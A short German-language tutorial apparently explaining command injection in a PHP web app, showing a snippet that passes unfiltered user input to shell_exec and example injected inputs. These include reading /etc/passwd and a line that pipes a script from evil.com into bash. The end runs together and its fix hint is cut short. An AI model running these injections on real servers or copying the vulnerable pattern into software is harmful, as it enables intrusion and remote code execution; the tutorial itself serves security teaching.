Diese einfache Webanwendung demonstriert eine sogenannte Command Injection. Die Benutzereingabe wird ungefiltert in einen Shell-Befehl eingefügt:
$cmd = 'host ' . $_POST['fqdn']; $output = shell_exec($cmd);
Wird zum Beispiel eingegeben:
example.com; cat /etc/passwd
dann führt der Server tatsächlich folgendes aus:
host example.com; cat /etc/passwd
Dadurch kann ein Angreifer beliebige Kommandos auf dem Server ausführen – ein klassisches Beispiel für unsichere Shell-Evaluation in PHP.
example.com; whoami → zeigt den Benutzer, unter dem der Webserver läuftexample.com; ls -l /var/www → zeigt Dateien im Webverzeichnisexample.com; curl http://evil.com/x.sh | bash → lädt und führt ein Skript ausgethostbyname() oder dns_get_record() verwenden